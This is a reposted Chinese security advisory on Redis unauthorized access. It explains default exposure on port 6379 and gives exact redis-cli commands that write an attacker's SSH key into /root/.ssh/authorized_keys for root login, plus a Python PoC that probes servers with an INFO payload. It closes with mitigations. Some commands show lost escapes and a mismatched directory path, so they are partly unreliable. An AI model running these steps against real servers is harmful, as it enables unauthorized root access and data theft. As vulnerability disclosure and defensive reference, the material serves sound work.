當前位置：首頁 > 运维知识 > windows >内容正文

windows

Redis 未授权访问缺陷可轻易导致系统被黑

發(fā)布時間：2023/12/31 windows 26 豆豆

生活随笔收集整理的這篇文章主要介紹了 Redis 未授权访问缺陷可轻易导致系统被黑小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

Redis 未授權訪問缺陷可輕易導致系統(tǒng)被黑

漏洞概要

Redis 默認情況下，會綁定在?0.0.0.0:6379，這樣將會將Redis服務暴露到公網上，如果在沒有開啟認證的情況下，可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數(shù)據。***者在未授權訪問Redis的情況下可以利用Redis的相關方法，可以成功將自己的公鑰寫入目標服務器的?/root/.ssh 文件夾的authotrized_keys 文件中，進而可以直接登錄目標服務器。

漏洞概述

漏洞描述

Redis 安全模型的觀念是: “請不要將Redis暴露在公開網絡中, 因為讓不受信任的客戶接觸到Redis是非常危險的” 。

Redis 作者之所以放棄解決未授權訪問導致的不安全性是因為, 99.99%使用Redis的場景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時也增加了復雜性, 雖然這個問題的并不是不能解決的, 但是這在他的設計哲學中仍是不劃算的。

因為其他受信任用戶需要使用Redis或者因為運維人員的疏忽等原因，部分Redis綁定在0.0.0.0:6379，并且沒有開啟認證（這是Redis的默認配置），如果沒有進行采用相關的策略，比如添加防火墻規(guī)則避免其他非信任來源ip訪問等，將會導致Redis服務直接暴露在公網上，導致其他用戶可以直接在非授權情況下直接訪問Redis服務并進行相關操作。

利用Redis自身的相關方法，可以進行寫文件操作，***者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中，進而可以直接登錄目標服務器。

漏洞影響

Redis 暴露在公網（即綁定在0.0.0.0:6379，目標IP公網可訪問），并且沒有開啟相關認證和添加相關安全策略情況下可受影響而導致被利用。

通過ZoomEye 的搜索結果顯示，有97700在公網可以直接訪問的Redis服務。

根據 ZoomEye 最新于2015年11月12日0點探測結果顯示：

總的存在無驗證可直接利用 Redis 服務的目標全球有49099，其中中國有16477。其中被明著寫入crackit的，也就是已經被黑的比例分別是全球65%（3.1萬），中國67.5%（1.1萬）。

1.1. ? ?漏洞分析與利用

首先在本地生產公私鑰文件:

Shell

1	$ssh-keygen?–t?rsa

然后將公鑰寫入foo.txt文件

Shell

1	$?(echo?-e?"nn";?cat?id_rsa.pub;?echo?-e?"nn")?>?foo.txt

再連接Redis寫入文件

Shell

$?cat?foo.txt?|?redis-cli?-h?192.168.1.11?-x?set?crackit

$?redis-cli?-h?192.168.1.11

$?192.168.1.11:6379>?config?set?dir?/Users/antirez/.ssh/OK

$?192.168.1.11:6379>?config?get?dir1)?"dir"2)?"/root/.ssh"

$?192.168.1.11:6379>?config?set?dbfilename?"authorized_keys"OK

$?192.168.1.11:6379>?saveOK

這樣就可以成功的將自己的公鑰寫入/root/.ssh文件夾的authotrized_keys文件里，然后***者直接執(zhí)行：

Shell

1	$?ssh?–i??id_rsa?root@192.168.1.11

即可遠程利用自己的私鑰登錄該服務器。

當然，寫入的目錄不限于/root/.ssh 下的authorized_keys，也可以寫入用戶目錄，不過Redis很多以root權限運行，所以寫入root目錄下，可以跳過猜用戶的步驟。

Redis 未授權的其他危害與利用

數(shù)據庫數(shù)據泄露

Redis 作為數(shù)據庫，保存著各種各樣的數(shù)據，如果存在未授權訪問的情況，將會導致數(shù)據的泄露，其中包含保存的用戶信息等

代碼執(zhí)行

Redis可以嵌套Lua腳本的特性將會導致代碼執(zhí)行, 危害同其他服務器端的代碼執(zhí)行, 樣例如下

一旦***者能夠在服務器端執(zhí)行任意代碼, ***方式將會變得多且復雜, 這是非常危險的.

通過Lua代碼***者可以調用 redis.sha1hex() 函數(shù)，惡意利用 Redis 服務器進行 SHA-1 的破解。

敏感信息泄露

通過 Redis 的 INFO 命令, 可以查看服務器相關的參數(shù)和敏感信息, 為***者的后續(xù)***做鋪墊

可以看到泄露了很多 Redis 服務器的信息, 有當前 Redis 版本, 內存運行狀態(tài), 服務端個數(shù)等等敏感信息。

全球無驗證可直接利用 Redis 分布情況

全球無驗證可直接利用 Redis TOP 10 國家與地區(qū)

漏洞 PoC

Python

#!/usr/bin/env?python

#?-*-?coding:utf-8?-*-

import?socket

import?urlparse

from?pocsuite.poc?import?POCBase,?Output

from?pocsuite.utils?import?register

class?TestPOC(POCBase):

????vulID?=?'89339'

????version?=?'1'

????author?=?['Anonymous']

????vulDate?=?'2015-10-26'

????createDate?=?'2015-10-26'

????updateDate?=?'2015-10-26'

????references?=?['http://sebug.net/vuldb/ssvid-89339']

????name?=?'Redis?未授權訪問?PoC'

????appPowerLink?=?'http://redis.io/'

????appName?=?'Redis'

????appVersion?=?'All'

????vulType?=?'Unauthorized?access'

????desc?=?'''

????????redis?默認不需要密碼即可訪問，***直接訪問即可獲取數(shù)據庫中所有信息，造成嚴重的信息泄露。

????'''

????samples?=?['']

????def?_verify(self):

????????result?=?{}

????????payload?=?'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a'

????????s?=?socket.socket()

????????socket.setdefaulttimeout(10)

????????try:

????????????host?=?urlparse.urlparse(self.url).netloc

????????????port?=?6379

????????????s.connect((host,?port))

????????????s.send(payload)

????????????recvdata?=?s.recv(1024)

????????????if?recvdata?and?'redis_version'?in?recvdata:

????????????????result['VerifyInfo']?=?{}

????????????????result['VerifyInfo']['URL']?=?self.url

????????????????result['VerifyInfo']['Port']?=?port

????????except:

????????????pass

????????s.close()

????????return?self.parse_attack(result)

????def?_attack(self):

????????return?self._verify()

????def?parse_attack(self,?result):

????????output?=?Output(self)

????????if?result:

????????????output.success(result)

????????else:

????????????output.fail('Internet?nothing?returned')

????????return?output

解決方案

臨時解決方案

配置bind選項, 限定可以連接Redis服務器的IP, 并修改redis的默認端口6379.

配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.

配置rename-command CONFIG “RENAME_CONFIG”, 這樣即使存在未授權訪問, 也能夠給***者使用config指令加大難度

好消息是Redis作者表示將會開發(fā)”real user”，區(qū)分普通用戶和admin權限，普通用戶將會被禁止運行某些命令，如config

官方解決方案

暫無官方解決方案

推薦防護方案

暫無防護方案

轉載于:https://blog.51cto.com/lwm666/1931125

總結

以上是生活随笔為你收集整理的Redis 未授权访问缺陷可轻易导致系统被黑的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

上一篇：微软确认：《使命召唤》将在索尼 Play
下一篇：福伦达推出 NOKTON 35mm F0